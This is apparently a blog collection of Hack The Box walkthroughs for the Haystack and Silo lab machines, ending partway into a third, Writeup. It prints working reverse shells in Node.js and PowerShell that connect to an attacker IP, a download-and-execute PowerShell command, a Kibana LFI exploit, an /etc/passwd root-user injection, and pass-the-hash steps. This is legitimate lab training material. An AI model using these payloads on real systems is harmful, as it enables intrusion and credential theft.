Hackthebox Haystack Walkthrough

placeholder

Explanation

Hackthebox is a website which has a bunch of vulnerable machines in its own VPN.
To learn a new technique/knowledge, solve all machines (As much as possible!!).
This is a walkthrough of a box “Haystack”.

Solution

1. Initial Enumeration

TCP Port Scanning:

  root@kali:~# nmap -p- 10.10.10.115 -sV -sC
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-04 15:42 EET
Nmap scan report for 10.10.10.115
Host is up (0.047s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
| 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open http nginx 1.12.2
| http-methods:
|_ Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 161.51 seconds

HTTP enumeration:
Sounds like only one page with heystack image available. placeholder

root@kali:~# gobuster dir -u http://10.10.10.115/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .html,.php,.txt -s '200,204,301,302,403'
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.115/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     html,php,txt
[+] Timeout:        10s
===============================================================
2019/11/05 19:40:48 Starting gobuster
===============================================================
/index.html (Status: 200)
===============================================================
2019/11/05 21:01:59 Finished
===============================================================

Port 9200 enumeration:
We can figure out that Elasticsearch is running.

root@kali:~# curl http://10.10.10.115:9200/
{
  "name" : "iQEYHgS",
  "cluster_name" : "elasticsearch",
  "cluster_uuid" : "pjrX7V_gSFmJY-DxP4tCQg",
  "version" : {
    "number" : "6.4.2",
    "build_flavor" : "default",
    "build_type" : "rpm",
    "build_hash" : "04711c2",
    "build_date" : "2018-09-26T13:34:09.098244Z",
    "build_snapshot" : false,
    "lucene_version" : "7.4.0",
    "minimum_wire_compatibility_version" : "5.6.0",
    "minimum_index_compatibility_version" : "5.0.0"
  },
  "tagline" : "You Know, for Search"
}

2. Getting User

At first, take a look at port 80.
We have only one file “needle.jpg” there.

root@kali:~# curl http://10.10.10.115
<html>
<body>
<img src="needle.jpg" />
</body>
</html>

To check if something interesting there, we can use “strings” command.

root@kali:~# strings needle.jpg 
JFIF
Exif
paint.net 4.1.1
UNICODE
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
	#3R
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
sc,x

~~~

bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==

We found base64 encoded data.
Then, decode the message. We get a message with unknown language.

root@kali:~# echo 'bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==' | base64 -d
la aguja en el pajar es "clave"

Google is always our friend. Translate the message. placeholder

la aguja en el pajar es "clave"

->
the needle in the haystack is "key"

Then, go back to elasticsearch.

Elasticsearch is a search engine based on the Lucene library. It provides a distributed, multitenant-capable full-text search engine with an HTTP web interface and schema-free JSON documents.

To send a query to elasticsearch, we need a parameter “q”.

root@kali:~# curl http://10.10.10.115:9200/_search?q=clave
{"took":136,"timed_out":false,"_shards":{"total":11,"successful":11,"skipped":0,"failed":0},"hits":{"total":2,"max_score":5.9335938,"hits":[{"_index":"quotes","_type":"quote","_id":"45","_score":5.9335938,"_source":{"quote":"Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "}},{"_index":"quotes","_type":"quote","_id":"111","_score":5.3459888,"_source":{"quote":"Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="}}]}}

Then decode the base64 encoded data.

root@kali:~# echo 'dXNlcjogc2VjdXJpdHkg' | base64 -d
user: security

root@kali:~# echo 'cGFzczogc3BhbmlzaC5pcy5rZXk=' | base64 -d
pass: spanish.is.key

We got a credential for user “security” to login with ssh.

security:spanish.is.key
root@kali:~# ssh security@10.10.10.115
security@10.10.10.115's password: 
Last login: Tue Nov  5 14:44:15 2019 from 10.10.14.13
[security@haystack ~]$ id
uid=1000(security) gid=1000(security) groups=1000(security) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

As always, user.txt is in the home directory.

[security@haystack ~]$ ls -la
total 16
drwx------. 2 security security  99 Feb  6  2019 .
drwxr-xr-x. 3 root     root      22 Nov 28  2018 ..
lrwxrwxrwx. 1 root     root       9 Jan 25  2019 .bash_history -> /dev/null
-rw-r--r--. 1 security security  18 Apr 10  2018 .bash_logout
-rw-r--r--. 1 security security 193 Apr 10  2018 .bash_profile
-rw-r--r--. 1 security security 231 Apr 10  2018 .bashrc
-rw-r--r--. 1 security security  33 Feb  6  2019 user.txt

[security@haystack ~]$ cat user.txt 
04d18bc79dac1d4d48ee0a940c8eb929

3. Getting Root

After logged in, try to run “pspy” to display all running process.
We can find that “logstash” is running as a root user.

2019/11/08 05:07:10 CMD: UID=0    PID=6392   | /bin/java -Xms500m -Xmx500m -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -Djava.awt.headless=true -Dfile.encoding=UTF-8 -Djruby.compile.invokedynamic=true -Djruby.jit.threshold=0 -XX:+HeapDumpOnOutOfMemoryError -Djava.security.egd=file:/dev/urandom -cp /usr/share/logstash/logstash-core/lib/jars/animal-sniffer-annotations-1.14.jar:/usr/share/logstash/logstash-core/lib/jars/commons-codec-1.11.jar:/usr/share/logstash/logstash-core/lib/jars/commons-compiler-3.0.8.jar:/usr/share/logstash/logstash-core/lib/jars/error_prone_annotations-2.0.18.jar:/usr/share/logstash/logstash-core/lib/jars/google-java-format-1.1.jar:/usr/share/logstash/logstash-core/lib/jars/gradle-license-report-0.7.1.jar:/usr/share/logstash/logstash-core/lib/jars/guava-22.0.jar:/usr/share/logstash/logstash-core/lib/jars/j2objc-annotations-1.1.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-annotations-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-core-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-databind-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-dataformat-cbor-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/janino-3.0.8.jar:/usr/share/logstash/logstash-core/lib/jars/jruby-complete-9.1.13.0.jar:/usr/share/logstash/logstash-core/lib/jars/jsr305-1.3.9.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-api-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-core-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-slf4j-impl-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/logstash-core.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.commands-3.6.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.contenttype-3.4.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.expressions-3.4.300.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.filesystem-1.3.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.jobs-3.5.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.resources-3.7.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.runtime-3.7.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.app-1.3.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.common-3.6.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.preferences-3.4.1.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.registry-3.5.101.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.jdt.core-3.10.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.osgi-3.7.1.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.text-3.5.101.jar:/usr/share/logstash/logstash-core/lib/jars/slf4j-api-1.7.25.jar org.logstash.Logstash --path.settings /etc/logstash 

However, we can’t access to the config file because we don’t have appropriate permission.
These files belong to a user “kibana”.

[security@haystack conf.d]$ pwd
/etc/logstash/conf.d

[security@haystack conf.d]$ ls -l
total 12
-rw-r-----. 1 root kibana 131 Jun 20 10:59 filter.conf
-rw-r-----. 1 root kibana 186 Jun 24 08:12 input.conf
-rw-r-----. 1 root kibana 109 Jun 24 08:12 output.conf


[security@haystack conf.d]$ cat input.conf 
cat: input.conf: Permission denied

[security@haystack conf.d]$

Then, try to check which port kibana is running. Since we can’t use netstat, use “ss” command.
We have one interesting port 5601.

  1. “-4”: to use IPv4
  2. “-l”: listing all listening ports
  3. “-n”: display port numbers
[security@haystack ~]$ ss -4 -l -n
Netid  State      Recv-Q Send-Q Local Address:Port               Peer Address:Port
udp    UNCONN     0      0      127.0.0.1:323                        *:*
tcp    LISTEN     0      128            *:80                         *:*
tcp    LISTEN     0      128            *:9200                       *:*
tcp    LISTEN     0      128            *:22                         *:*
tcp    LISTEN     0      128    127.0.0.1:5601                       *:*
*

To access the “127.0.0.1:5601” from our localhost, we need port forwarding.
We can find “Kibana” which is data visualization UI used with Elasticsearch.

ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N

placeholder

By clicking the “Management” tab, we can figure out that the version of Kibana is “6.4.2” placeholder

By quick search, we can find that this version of kibana has a LFI “CVE-2018-17246”
As it’s written, upload followin javascript shell to “/dev/shm”
shell.js:

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.13", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

Then, launch a netcat listener and send a get request to access to the “shell.js”.
We can achieve a reverse shell as a user “kibana”.

[security@haystack shm]$ curl 'http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/shell.js'
root@kali:~# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.115] 53668
id
uid=994(kibana) gid=992(kibana) grupos=992(kibana) contexto=system_u:system_r:unconfined_service_t:s0
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:50:56:b9:b4:73 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.115/24 brd 10.10.10.255 scope global ens33
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:b473/64 scope global mngtmpaddr dynamic 
       valid_lft 86211sec preferred_lft 14211sec
    inet6 fe80::250:56ff:feb9:b473/64 scope link 
       valid_lft forever preferred_lft forever

After that, get a full shell with python command.

python -c 'import pty;pty.spawn("/bin/bash")'
bash-4.2$

Then, try to look at the files for logstash.
We can refer a document on the official website.
filter.conf:

bash-4.2$ cat filter.conf
cat filter.conf
filter {
	if [type] == "execute" {
		grok {
			match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
		}
	}
}

input.conf:

bash-4.2$ cat input.conf
cat input.conf
input {
	file {
		path => "/opt/kibana/logstash_*"
		start_position => "beginning"
		sincedb_path => "/dev/null"
		stat_interval => "10 second"
		type => "execute"
		mode => "read"
	}
}

output.conf

bash-4.2$ cat output.conf
cat output.conf
output {
	if [type] == "execute" {
		stdout { codec => json }
		exec {
			command => "%{comando} &"
		}
	}
}

In summerize, logstash is executing a command with following condition.

  1. The name of the config file has to be matched “logstash_*”
  2. the key of the command is has to be “Ejecutar comando”


Create following shell script to add a new admin user in “/etc/passwd”.
We have to put it into “/dev/shm” with scp command.

root@kali:~# cat firefart.sh 
#!/bin/bash

echo 'firefart:fi6bS9A.C7BDQ:0:0:pwned:/root:/bin/bash' >> /etc/passwd
root@kali:~# scp firefart.sh security@10.10.10.115:/dev/shm
security@10.10.10.115's password: 
firefart.sh                                             100%   88     2.1KB/s   00:00

Then, create a following config file to achieve a reverse shell as user “kibana” with the following command.

echo 'Ejecutar comando : bash /dev/shm/firefart.sh' > /opt/kibana/logstash_firefart

After a few minutes, finally, we can confirm a new user “firefart” with password “test” was added in “/etc/passwd”.
To switch the user, we can use “su” command.

[security@haystack ~]$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:996::/var/lib/chrony:/sbin/nologin
security:x:1000:1000:security:/home/security:/bin/bash
elasticsearch:x:997:995:elasticsearch user:/nonexistent:/sbin/nologin
logstash:x:996:994:logstash:/usr/share/logstash:/sbin/nologin
nginx:x:995:993:Nginx web server:/var/lib/nginx:/sbin/nologin
kibana:x:994:992:kibana service user:/home/kibana:/sbin/nologin
firefart:fi6bS9A.C7BDQ:0:0:pwned:/root:/bin/bash
[security@haystack ~]$
[security@haystack ~]$ su firefart
Password:

[root@haystack security]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

As always, root.txt is in the directory “/root”

[root@haystack security]# cat /root/root.txt 
3f5f727c38d9f70e1d2ad2ba11059d92

Hackthebox Silo Walkthrough

placeholder

Explanation

Hackthebox is a website which has a bunch of vulnerable machines in its own VPN.
To learn a new technique/knowledge, solve all machines (As much as possible!!).
This is a walkthrough of a box “Silo”.

Solution

1. Initial Enumeration

TCP Port Scanning:

root@kali:~# nmap -p- 10.10.10.82 -sV -sC
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-06 15:58 EET
Nmap scan report for 10.10.10.82
Host is up (0.047s latency).
Not shown: 65520 closed ports
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 8.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: IIS Windows Server
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp  open  oracle-tns   Oracle TNS listener 11.2.0.2.0 (unauthorized)
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49158/tcp open  msrpc        Microsoft Windows RPC
49160/tcp open  oracle-tns   Oracle TNS listener (requires service name)
49161/tcp open  msrpc        Microsoft Windows RPC
49162/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2m19s, deviation: 0s, median: 2m18s
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: supported
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-11-06T14:51:29
|_  start_date: 2019-11-06T14:00:27

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3066.66 seconds

Gobuster HTTP:

root@kali:~# gobuster dir -u http://10.10.10.82/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .html,.aspx -s '200,204,301,302,403'
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.82/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     html,aspx
[+] Timeout:        10s
===============================================================
2019/11/06 16:54:45 Starting gobuster
===============================================================
===============================================================
2019/11/06 18:05:09 Finished
===============================================================

2. Getting User

Sounds we have nothing interesting on port 80 HTTP.
Then, try to take a look at Oracle TNS listener.
At first, try to get SIDs.

The Oracle System ID (SID) is used to uniquely identify a particular database on a system. For this reason, one cannot have more than one database with the same SID on a computer system.

msf5 auxiliary(admin/oracle/sid_brute) > use auxiliary/admin/oracle/sid_brute 
msf5 auxiliary(admin/oracle/sid_brute) > set rhost 10.10.10.82
rhost => 10.10.10.82
msf5 auxiliary(admin/oracle/sid_brute) > show options

Module options (auxiliary/admin/oracle/sid_brute):

   Name     Current Setting                                         Required  Description
   ----     ---------------                                         --------  -----------
   RHOSTS   10.10.10.82                                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    1521                                                    yes       The target port (TCP)
   SIDFILE  /usr/share/metasploit-framework/data/wordlists/sid.txt  no        The file that contains a list of sids.
   SLEEP    1                                                       no        Sleep() amount between each request.

msf5 auxiliary(admin/oracle/sid_brute) > run
[*] Running module against 10.10.10.82

[*] 10.10.10.82:1521 - Starting brute force on 10.10.10.82, using sids from /usr/share/metasploit-framework/data/wordlists/sid.txt...
[+] 10.10.10.82:1521 - 10.10.10.82:1521 Found SID 'XE'
[+] 10.10.10.82:1521 - 10.10.10.82:1521 Found SID 'PLSExtProc'
[+] 10.10.10.82:1521 - 10.10.10.82:1521 Found SID 'CLRExtProc'
[+] 10.10.10.82:1521 - 10.10.10.82:1521 Found SID ''
[*] 10.10.10.82:1521 - Done with brute force...
[*] Auxiliary module execution completed

Next, try some default credentials.
We can find the list in the Oracle Database Installation Guide.
This time, following credential worked.

scott:tiger
root@kali:/opt/oracle/instantclient_19_3# ./sqlplus SCOTT/tiger@10.10.10.82:1521/XE

SQL*Plus: Release 19.0.0.0.0 - Production on Wed Nov 6 18:24:53 2019
Version 19.3.0.0.0

Copyright (c) 1982, 2019, Oracle.  All rights reserved.

ERROR:
ORA-28002: the password will expire within 7 days



Connected to:
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

SQL> 

For the Oracle penetration testing, we can use a script “odat.py”.
It is not installed by default, we have to install with “apt-get”

apt-get install odat

Then, upload a aspx webshell which is installed on Kali linux by default.
To upload a file, we need an option “dbmsadvisor”.

root@kali:~# odat dbmsadvisor -s 10.10.10.82 -d XE -U SCOTT -P tiger --sysdba --putFile C:\\inetpub\\wwwroot cmdasp.aspx /usr/share/webshells/aspx/cmdasp.aspx 

[1] (10.10.10.82:1521): Put the /usr/share/webshells/aspx/cmdasp.aspx local file in the C:\inetpub\wwwroot path (named cmdasp.aspx) of the 10.10.10.82 server
[+] The /usr/share/webshells/aspx/cmdasp.aspx local file was put in the remote C:\inetpub\wwwroot path (named cmdasp.aspx)

placeholder

To launch a netcat listener to receive a reverse shell.

root@kali:~# nc -nlvp 443
listening on [any] 443 ...

After that, make a script for the reverse shell, we can use this Powershell script.

root@kali:~# cat Invoke-PowerShellTcpOneLine.ps1 
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.13',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

$sm=(New-Object Net.Sockets.TCPClient('10.10.14.13',443)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}

Next, run a simple web server that hosts the powershell script.

root@kali:~# ls -l | grep Invoke
-rw-r--r-- 1 root root  973 Nov  6 18:47 Invoke-PowerShellTcpOneLine.ps1

root@kali:~# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

Then invoke the powershell script, we have to run following command with the webshell.

powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.13/Invoke-PowerShellTcpOneLine.ps1')

Now we got a reverse shell.
user.txt is in the directory “Directory: C:\users\Phineas\Desktop”.

root@kali:~# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.82] 49174
cwd
PS C:\windows\system32\inetsrv> whoami
iis apppool\defaultapppool

PS C:\windows\system32\inetsrv> type C:\users\Phineas\Desktop\user.txt
92ede778a1cc8d27cb6623055c331617

3. Getting Root

There is another file in the same directory which name is “Oracle issue.txt” with password.

PS C:\users\Phineas\Desktop> dir


    Directory: C:\users\Phineas\Desktop


Mode                LastWriteTime     Length Name                              
----                -------------     ------ ----                              
-a---          1/5/2018  10:56 PM        300 Oracle issue.txt                  
-a---          1/4/2018   9:41 PM         32 user.txt                          


PS C:\users\Phineas\Desktop> type "Oracle issue.txt"
Support vendor engaged to troubleshoot Windows / Oracle performance issue (full memory dump requested):

Dropbox link provided to vendor (and password under separate cover).

Dropbox link 
https://www.dropbox.com/sh/69skryzfszb7elq/AADZnQEbbqDoIf5L2d0PBxENa?dl=0

link password:
?%Hm8646uC$

Then, try to access to the dropbox.
However, above password doesn’t work. To obtain a correct password, we need to use the webshell which we uploaded.
After that, download the file “SILO-20180105-221806.zip”. placeholder

£%Hm8646uC$

placeholder

By unzip, we can get a file which contains memory dump.
We can use “volatility” which is installed by default to do the investigation.
At first, dump the profile of “SILO-20180105-221806.dmp”.

root@kali:~# volatility kdbgscan -f SILO-20180105-221806.dmp
Volatility Foundation Volatility Framework 2.6
WARNING : volatility.debug    : Alignment of WindowsCrashDumpSpace64 is too small, plugins will be extremely slow

~~~

**************************************************
Instantiating KDBG using: Unnamed AS Win2012x64 (6.2.9201 64bit)
Offset (V)                    : 0xf80078520a30
Offset (P)                    : 0x2320a30
KdCopyDataBlock (V)           : 0xf8007845f9b0
Block encoded                 : Yes
Wait never                    : 0xd08e8400bd4a143a
Wait always                   : 0x17a949efd11db80
KDBG owner tag check          : True
Profile suggestion (KDBGHeader): Win2012x64
Version64                     : 0xf80078520d90 (Major: 15, Minor: 9600)
Service Pack (CmNtCSDVersion) : 0
Build string (NtBuildLab)     : 9600.16384.amd64fre.winblue_rtm.
PsActiveProcessHead           : 0xfffff80078537700 (51 processes)
PsLoadedModuleList            : 0xfffff800785519b0 (148 modules)
KernelBase                    : 0xfffff8007828a000 (Matches MZ: True)
Major (OptionalHeader)        : 6
Minor (OptionalHeader)        : 3
KPCR                          : 0xfffff8007857b000 (CPU 0)
KPCR                          : 0xffffd000207e8000 (CPU 1)

~~~

We figured out the OS is “Windows server 2012 64bit”.
Then, take a look at the registory hive.

root@kali:~# volatility -f SILO-20180105-221806.dmp --profile=Win2012R2x64 hivelist
Volatility Foundation Volatility Framework 2.6
Virtual            Physical           Name
------------------ ------------------ ----
0xffffc0000100a000 0x000000000d40e000 \??\C:\Users\Administrator\AppData\Local\Microsoft\Windows\UsrClass.dat
0xffffc000011fb000 0x0000000034570000 \SystemRoot\System32\config\DRIVERS
0xffffc00001600000 0x000000003327b000 \??\C:\Windows\AppCompat\Programs\Amcache.hve
0xffffc0000001e000 0x0000000000b65000 [no name]
0xffffc00000028000 0x0000000000a70000 \REGISTRY\MACHINE\SYSTEM
0xffffc00000052000 0x000000001a25b000 \REGISTRY\MACHINE\HARDWARE
0xffffc000004de000 0x0000000024cf8000 \Device\HarddiskVolume1\Boot\BCD
0xffffc00000103000 0x000000003205d000 \SystemRoot\System32\Config\SOFTWARE
0xffffc00002c43000 0x0000000028ecb000 \SystemRoot\System32\Config\DEFAULT
0xffffc000061a3000 0x0000000027532000 \SystemRoot\System32\Config\SECURITY
0xffffc00000619000 0x0000000026cc5000 \SystemRoot\System32\Config\SAM
0xffffc0000060d000 0x0000000026c93000 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0xffffc000006cf000 0x000000002688f000 \SystemRoot\System32\Config\BBI
0xffffc000007e7000 0x00000000259a8000 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0xffffc00000fed000 0x000000000d67f000 \??\C:\Users\Administrator\ntuser.dat

We found a some files should be confidential.
To dump the hash, wehave to provide the needed addresses for SYSTEM and SAM.

root@kali:~# volatility -f SILO-20180105-221806.dmp --profile Win2012R2x64 hashdump -y 0xffffc00000028000 -s 0xffffc00000619000
Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Phineas:1002:aad3b435b51404eeaad3b435b51404ee:8eacdd67b77749e65d3b3d5c110b0969:::

Since we can use Pass the Hash technique for Windows,
we can achieve a SYSTEM shell with metasploit psexec module.

msf5 > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set smbuser Administrator
smbuser => Administrator
msf5 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7
smbpass => aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7
msf5 exploit(windows/smb/psexec) > set rhost 10.10.10.82
rhost => 10.10.10.82
msf5 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 10.10.14.13:4444 
[*] 10.10.10.82:445 - Connecting to the server...
[*] 10.10.10.82:445 - Authenticating to 10.10.10.82:445 as user 'Administrator'...
[*] 10.10.10.82:445 - Selecting PowerShell target
[*] 10.10.10.82:445 - Executing the payload...
[+] 10.10.10.82:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (180291 bytes) to 10.10.10.82
[*] Meterpreter session 1 opened (10.10.14.13:4444 -> 10.10.10.82:49175) at 2019-11-06 19:24:15 +0200

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 

As always, root.txt is in the directory “C:\Users\Administrator\Desktop”.

meterpreter > shell
Process 1884 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>type C:\users\administrator\desktop\root.txt
type C:\users\administrator\desktop\root.txt
cd39ea0af657a495e33bc59c7836faf6
C:\Windows\system32>

Hackthebox Writeup Walkthrough

placeholder

Explanation

Hackthebox is a website which has a bunch of vulnerable machines in its own VPN.
To learn a new technique/knowledge, solve all machines (As much as possible!!).
This is a walkthrough of a box “Writeup”.

Solution

1. Initial Enumeration

TCP Port Scanning:

root@kali:~# nmap -p- 10.10.10.138 -sV -sC
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-02 15:17 EEST
Nmap scan report for 10.10.10.138
Host is up (0.039s latency).
Not shown: 65533 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
|   256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_  256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/writeup/
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Nothing here yet.
